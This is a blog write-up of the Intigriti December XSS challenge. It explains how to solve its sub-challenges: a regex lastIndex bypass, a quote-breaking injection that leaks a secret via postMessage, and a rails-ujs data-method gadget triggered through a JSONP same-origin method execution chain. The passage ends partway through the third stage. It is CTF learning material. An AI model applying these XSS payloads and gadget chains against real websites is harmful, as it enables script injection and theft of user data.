Intigriti December XSS Challenge (1225) | Jorian Woltjer

jorianwoltjer.com · bugbountydaily · 2 months ago · vulnerability
0 net
Intigriti December XSS Challenge (1225) | Jorian Woltjer Every month, Intigriti hosts a hard Cross-Site Scripting challenge, made this month by @Renwa . This legendary author made a legendary challenge, one of the highest quality and most fun I've ever seen, hosted at challenge-1225.intigriti.io . It plays like a mini-CTF, where we solve 6 minimal yet interesting challenges before combining them into one great exploit. This post goes into quite a lot of detail, so here's a quick Summary : Power Stone : Send large string to offset the .lastIndex , then XSS to leak performance entry Mind Stone : In , use " to break out of the string and top.opener.postMessage(mindStone) Reality Stone : Use data-method gadget in rails-ujs by clicking through SOME attack Space Stone : turns into a comment to escape context, then quickly register postMessage listener to intercept the code Soul Stone : Open ?eval= URL into same-origin tab named "http" running Object.defineProperty() to set document.domain , then receive the code Time Stone : XS-Leak URL length after the redirect using large hash fragment triggering iframe onload= Final Exploit : Running only soul first to get XSS, then let delayed 2nd tab load and send everything to it. Recover reference through postMessage .source Individual challenges Looking at the HTML source of https://challenge-1225.intigriti.io/challenge , which I've annotated with a few comments, we can quite quickly understand the idea of this challenge: < script nonce = " 950f937d9421 " > if ( location . hash === ' #PerfectlyBalanced ' ) { const code = encodeURIComponent ( ' b5c721d2887bc9edb2c97260e53cf07b43f18f6f185f61d5 ' ) ; // Random every time! const urlParams = new URLSearchParams ( window . location . search ) ; // Power Stone const iframe = document . createElement ( ' iframe ' ) ; iframe . sandbox = ' allow-scripts ' ; iframe . src = ' https://power.challenge-1225.intigriti.io/?power_stone= ' + ( code . substring ( 0 , 8 ) ) ; iframe . width = ' 100% ' ; iframe . height = ' 300px ' ; iframe . style . border = ' none ' ; document . body . appendChild ( iframe ) ; // Reality Stone const iframe3 = document . createElement ( ' iframe ' ) ; let iframeSrc3 = ' https://reality.challenge-1225.intigriti.io/?reality_stone= ' + ( code . substring ( 16 , 24 ) ) ; if ( urlParams . has ( ' reality ' ) ) { iframeSrc3 += ' &user= ' + ( urlParams . get ( ' reality ' ) . replaceAll ( ' & ' , ' ' ) ) + ' &action= ' + ( urlParams . get ( ' action ' ) . replaceAll ( ' & ' , ' ' ) ) ; } ... // 6 iframes with code parts created in total setTimeout ( ( ) => { // After 3 seconds, the DOM is deleted document . body . innerHTML = ' ' ; } , 3000 ) ; const messageListener = ( event ) => { // Checking code and evaluating the rest of the message, this is our final goal if ( typeof event . data === ' string ' && event . data . substring ( 0 , 48 ) === code ) { eval ( event . data . substring ( 48 ) ) ; } } ; window . addEventListener ( ' message ' , messageListener ) ; } A code is randomly generated every time we load the page. Parts of this code are extracted with .substring() and embedded in 6 different iframes. At the end, a "message" event listener is registered. When it receives the correct code, it evaluates the rest of the message as JavaScript, leading to XSS. So, if we can leak all 6 parts of the code (the "infinity stones" ) and combine them, we can send a postMessage() to the /challenge page to run alert(origin) on the main domain. The fun part is that these 6 iframes are essentially all different small CTF challenges . We first solve them all individually before making a final exploit that combines them to recover the entire code (spoiler: this will be hard 😅). 1. Power Stone The main page provides us with a downloadable source.zip that will tell us how the backend works, but for this first one, it doesn't really matter. The HTML source code is as follows: < img src = " /power.jpeg " width = " 100% " height = " 100% " > < pre > Power Stone < script > history . pushState ( 1 , 1 , 1 ) ; // Navigates away to /1 let safe = / < | > | \s / g ; // Regex matching <, > or whitespace // Listen for postMessages window . addEventListener ( ' message ' , ( event ) => { if ( ! ( safe . exec ( event . data ) ) ) { // If message isn't blocked by regex, render as HTML document . body . innerHTML = event . data ; } else { document . body . innerHTML = ' not safe ' ; } } ) ; A very minimal challenge, as you can see. Remember, this page is loaded by the main /challenge using the following code and is hosted on https://power.challenge-1225.intigriti.io . const iframe = document . createElement ( ' iframe ' ) ; iframe . sandbox = ' allow-scripts ' ; iframe . src = ' https://power.challenge-1225.intigriti.io/?power_stone= ' + ( code . substring ( 0 , 8 ) ) ; iframe . width = ' 100% ' ; iframe . height = ' 300px ' ; iframe . style . border = ' none ' ; document . body . appendChild ( iframe ) ; Our goal is to leak the ?power_stone= query parameter since it contains the first part of the code. postMessage() is really the only way we can interact with the iframe. The .innerHTML sink is definitely our target, but the /<|>|\s/g regular expression blocks us from writing any malicious HTML. Luckily, I quickly recognized the pitfall this challenge was about. If we take a look at the documentation for global regexes ( /g ) in JavaScript, we read the following quote: MDN : RegExp.prototype.global has the value true if the g flag was used; otherwise, false . The g flag indicates that the regular expression should be tested against all possible matches in a string. Each call to exec() will update its lastIndex property, so that the next call to exec() will start at the next character . A little-known fact is that if you reuse global regexes, each test will remember the position from the last call in a property named .lastIndex . If the string has two matches, for example, the first call matches the first occurrence, while the second call matches the second occurrence. When it no longer matches, it resets back to 0. const re = / A / g ; re . test ( " 1st A 2nd A " ) // true (starting at 0, lastIndex=5) re . test ( " 1st A 2nd A " ) // true (starting at 5, lastIndex=11) re . test ( " 1st A 2nd A " ) // false (starting at 11, lastIndex=0) re . test ( " 1st A 2nd A " ) // true (starting at 0, lastIndex=5) When the string passed in is different, the lastIndex is still remembered. This means we can pad it with a bunch of characters before finally finding a match, setting it to a higher value such as 5. Then, in the next call, it will only start searching from position 5, and miss the 4 characters that we inject at the start: const re = / A / g ; re . test ( " ....A " ) // true (starting at 0, lastIndex=5) re . test ( " AAAA " ) // false (starting at 5, lastIndex=0) This is exactly what we are going to do to bypass this check. We must first send a padding string with a disallowed < at the end. Then we have free room to send whatever payload we want, because the regex match only starts way past it. w = window . open ( " https://challenge-1225.intigriti.io/challenge#PerfectlyBalanced " ) // Get a reference to the power iframe using indexing on window reference (1st frame) w [ 0 ] . postMessage ( " AAAAAAAAAAAAAAAAAAAAAAAAAA< " , " * " ) w [ 0 ] . postMessage ( " " , " * " ) If we time it right, this works. However, since all content is removed after 3 seconds, we don't have much time to debug. To disable this feature, I simply set a hacky conditional breakpoint somewhere at the start of the JavaScript code to make setTimeout() useless and ,0 to return false and never actually break here: window . setTimeout = ( ) => { } , 0 Set a conditional breakpoint on line 30 of /challenge After this small patch, we can take all the time in the world to admire our first XSS: Breakpoint triggered in DevTools with location.href in Console The debugger instruction executes, automatically triggering a breakpoint. If we now inspect location.href to retrieve our first part of the code, however, it appears to be empty! The URL has been overwritten by history.pushState() . How do we recover it? One resource we can look to is navigation.entries() , which should keep a history of all URLs that this document went through. However, its value [] shows that this, too, is empty. The solution lies in another collection named performance.getEntries() , which records various random events that occur within the document, including page loads. After clicking around a bit, we find that the first entry's .name contains the original URL with the code! DevTools Console showing first performence entry name contains code So, a payload like this should leak its value back to us through the top ( /challenge page) and opener (attacker page) reference: top . opener . postMessage ( performance . getEntries ( ) [ 0 ] . name . split ( ' = ' ) [ 1 ] , " * " ) Which we then simply receive and store to combine later. const leaks = Array ( 6 ) . fill ( ) ; window . addEventListener ( " message " , ( e ) => { console . log ( " Leaked " , e . data ) ; leaks [ 0 ] = e . data ; } ) ; 2. Mind Stone On to the next! I'll start by saying this was the last challenge I actually completed while going through all 6, because the nice part of Renwa's challenge is that you can choose to skip hard ones where you're stuck for the time being. This was also the coolest one in my opinion, so strap in! This iframe is loaded with some user input for a change, through the query= parameter (we provide ?mind= ): const iframe2 = document . createElement ( ' iframe ' ) ; let iframeSrc = ' https://mind.challenge-1225.intigriti.io/?mind_stone= ' + ( code . substring ( 8 , 16 ) ) ; if ( urlParams . has ( ' mind ' ) ) { iframeSrc += ' &query= ' + ( urlParams . get ( ' mind ' ) . replaceAll ( ' & ' , ' ' ) ) ; } iframe2 . sandbox = ' allow-scripts ' ; iframe2 . src = iframeSrc ; iframe2 . width = ' 100% ' ; iframe2 . height = ' 300px ' ; iframe2 . style . border = ' none ' ; document . body . appendChild ( iframe2 ) ; The handler has some server-side logic this time, so let's have a look at it: app . get ( ' / ' , ( req , res ) => { const nonce = Math . random ( ) . toString ( 36 ) . substring ( 2 , 14 ) ; res . setHeader ( ' Content-Security-Policy ' , ` default-src 'none'; img-src 'self'; base-uri 'none'; script-src 'nonce- ${ nonce } ' ` ) ; ... let query = req . query . query || ' Hello World! ' ; if ( typeof query !== ' string ' || query . length > 60 ) { return res . send ( ' ' ) ; } query = query . replace ( / = / g , " " ) ; query = query . replace ( / " / g , " " ) ; query = query . replace ( / ` ; res . send ( output ) ; } ) ; We can play with the endpoint a bit to gain a better understanding. We will inject some special characters with <>'"j0r1an to see what's escaped and placed where: https://mind.challenge-1225.intigriti.io/?mind_stone=LEAKME&query=%3C%3E%27%22j0r1an < img src = " /mind.jpeg " width = " 100% " height = " 100% " > <> 'j0r1an < script nonce = " 3tl54tfkr68 " > const mindStone = " LEAKME " ; console . log ( " <>'j0r1an " ) ; We appear to have HTML injection immediately after the image, as well as another injection inside the nonce-protected script tag. We can't escape from the JavaScript string context because " double quotes are removed. We can't abuse our global regex trick from the power stone here, so we'll have to somehow get XSS with these restricted characters. The = equals sign is also removed, disallowing any attributes in our HTML injection. Which is parsed by the browser as seen in the screenshot below, and pops an alert! Parsed HTML with successful injection showing mindStone value in alert We can inject this on the /challenge page using the ?mind= parameter, but look, there is a maximum of 60 characters allowed for us to exfiltrate mindStone : if ( typeof query !== ' string ' || query . length > 60 ) { return res . send ( ' ' ) ; } A simple way to do this is to just postMessage() it to top.opener again, which we can receive. This is barely short enough, summing up to 58 characters: &# 34 ; )-top.opener.postMessage(mindStone,'*') < svg > 3. Reality Stone Here comes another fun one. The reality stone contains another code in the query parameter and the reality & action parameters, which are passed into the iframe as our user input. const iframe3 = document . createElement ( ' iframe ' ) ; let iframeSrc3 = ' https://reality.challenge-1225.intigriti.io/?reality_stone= ' + ( code . substring ( 16 , 24 ) ) ; if ( urlParams . has ( ' reality ' ) ) { iframeSrc3 += ' &user= ' + ( urlParams . get ( ' reality ' ) . replaceAll ( ' & ' , ' ' ) ) + ' &action= ' + ( urlParams . get ( ' action ' ) . replaceAll ( ' & ' , ' ' ) ) ; } iframe3 . sandbox = ' allow-scripts ' ; iframe3 . src = iframeSrc3 ; iframe3 . width = ' 100% ' ; iframe3 . height = ' 300px ' ; iframe3 . style . border = ' none ' ; document . body . appendChild ( iframe3 ) ; The server-side sanitizes our user input with a strict DOMPurify pass, removing any kind of JavaScript. We are also given input into a JSONP callback parameter, which is called: app . get ( ' / ' , ( req , res ) => { const user = req . query . user || ' guest ' ; const action = req . query . action ? / ^ [ a - z A - Z \\ . ] + $ / . test ( req . query . action ) ? req . query . action : ' console.log ' : ' console.log ' const clean = DOMPurify . sanitize ( user , { ALLOWED_TAGS : [ ' b ' , ' i ' , ' em ' , ' strong ' , ' a ' , ' p ' , ' br ' , ' span ' , ' div ' , ' h1 ' , ' h2 ' , ' h3 ' , ' ul ' , ' ol ' , ' li ' ] , ALLOWED_ATTR : [ ] } , { FORBID_ATTR : [ ' id ' , ' style ' , ' href ' , ' class ' , ' data-* ' , ' srcdoc ' , ' form ' , ' formaction ' , ' formmethod ' , ' referrerpolicy ' , ' target ' , ' rel ' , ' manifest ' , ' poster ' , ' ping ' , ' download ' ] } , { } ) ; ... res . send ( ` ...

Welcome ${ clean }

` ) } ) app . get ( ' /callback ' , ( req , res ) => { ... const jsonp = req . query . jsonp || ' console.log ' ; res . send ( ` ${ jsonp } ("website is ready") ` ) } ) If we visit a URL like ?reality_stone=LEAKME&user=test&action=alert , we see all attributes are stripped from our HTML, but our alert function is called with the static string "website is ready". < script > history . replaceState ( null , null , ' / ' ) ; < textarea > LEAKME < h1 > Welcome < a > test < script src = " https://code.jquery.com/jquery-3.6.0.min.js " > < script src = " https://cdnjs.cloudflare.com/ajax/libs/jquery-ujs/1.2.3/rails.min.js " > < script src = " /callback?jsonp=alert " > alert ( " website is ready " ) The jQuery and rails-ujs scripts it loads seem suspicious; it is common for widely used scripts to contain "gadgets" that perform actions based on the DOM where our HTML injection lives. Sometimes specific attributes are read, and their values are used unsafely, but we don't seem to have the luxury of attributes. We can look for previous research into these libraries to see if they have anything for us on GMSGadget , where we quickly find interesting exploits: < a data-remote = " true " data-method = " get " data-type = " script " href = " https://gmsgadget.com/assets/xss/index.js " > XSS < a data-method = " '>' " href = " https://gmsgadget.com/assets/xss/index.js " > XSS These all use data-* or href attributes. If we just try inserting the payload, we can see what we actually do have access to data-* attributes! < h1 > Welcome < a data-remote = " true " data-method = " get " data-type = " script " > XSS < a data-method = " '>' " > XSS Now let's take a closer look at how these exploits are actually supposed to work. Inside rails.min.js , we find the following code: var t = s ( document ) ; s . rails = u = { ... linkClickSelector : " a[data-confirm], a[data-method], a[data-remote]:not([disabled]), a[data-disable-with], a[data-disable] " , handleMethod : function ( t ) { var e = u . href ( t ) , a = t . data ( " method " ) , n = t . attr ( " target " ) , o = u . csrfToken ( ) , r = u . csrfParam ( ) , t = s ( '
' ) , a = ' ' ; r === l || o === l || u . isCrossDomain ( e ) || ( a += ' ' ) , n && t . attr ( " target " , n ) , t . hide ( ) . append ( a ) . appendTo ( " body " ) , t . submit ( ) } , ... t . on ( " click.rails " , u . linkClickSelector , function ( t ) { var e = s ( this ) , a = e . data ( " method " ) , n = e . data ( " params " ) , o = t . metaKey || t . ctrlKey ; if ( ! u . allowAction ( e ) ) return u . stopEverything ( t ) ; if ( ! o && e . is ( u . linkDisableSelector ) && u . disableElement ( e ) , u . isRemote ( e ) ) { if ( o && ( ! a || " GET " === a ) && ! n ) return ! 0 ; n = u . handleRemote ( e ) ; return ! 1 === n ? u . enableElement ( e ) : n . fail ( function ( ) { u . enableElement ( e ) } ) , ! 1 } return a ? ( u . handleMethod ( e ) , ! 1 ) : void 0 } ) , t.data("method") refers to the data-method= attribute we set, which is then inserted straight into: < input name = " _method " value = " ' + a + ' " type = " hidden " /> This code triggers on click of any link as seen by the u.linkClickSelector . The href= that we are missing doesn't even seem necessary. One difference from the payload on GMSGadget is that the value="..." attribute we inject into uses double quotes rather than single quotes. So our payload should look like this: < a data-method = ' "> ' > XSS Visiting this page and clicking the "XSS" text manually, our alert actually triggers! However, we'll have to automate this exploit for the future, where we need to combine everything into a single click. We haven't used the /callback endpoint yet, though, so how can it help us? There's an awesome technique called Same-Origin Method Execution (SOME) that uses restricted JSONP function calls (like our [a-zA-Z\\.]+ ) to traverse the DOM and click some element by calling its .click() method. Here is our DOM: < html > < head > < meta charset = " UTF-8 " > < title > Reality Stone < body > < img src = " /reality.jpeg " width = " 100% " height = " 100% " > < script > history . replaceState ( null , null , ' / ' ) ; < textarea > LEAKME < h1 > Welcome < a data-method = " & quot ; & gt ; & lt ; img src onerror=alert(origin) & gt ; " > XSS < script src = " https://code.jquery.com/jquery-3.6.0.min.js " > < script src = " https://cdnjs.cloudflare.com/ajax/libs/jquery-ujs/1.2.3/rails.min.js " > < script src = " /callback?jsonp=console.log " > In JavaScript, we can start off with document.body to reference the tag. Then take its first child ( ) with .firstElementChild . Getting the 2nd child instead is trickier, but still possible through a little-known property called .nextElementSibling . It essentially looks at the next child of the parent of this element. By chaining these, we can eventually get to our injected
tag like this: document . body . firstElementChild . nextElementSibling . nextElementSibling . nextElementSibling . firstElementChild We append .click at the end, and JSONP will call it for us. This triggers the XSS without any user interaction, with which we can leak the reality_stone parameter in the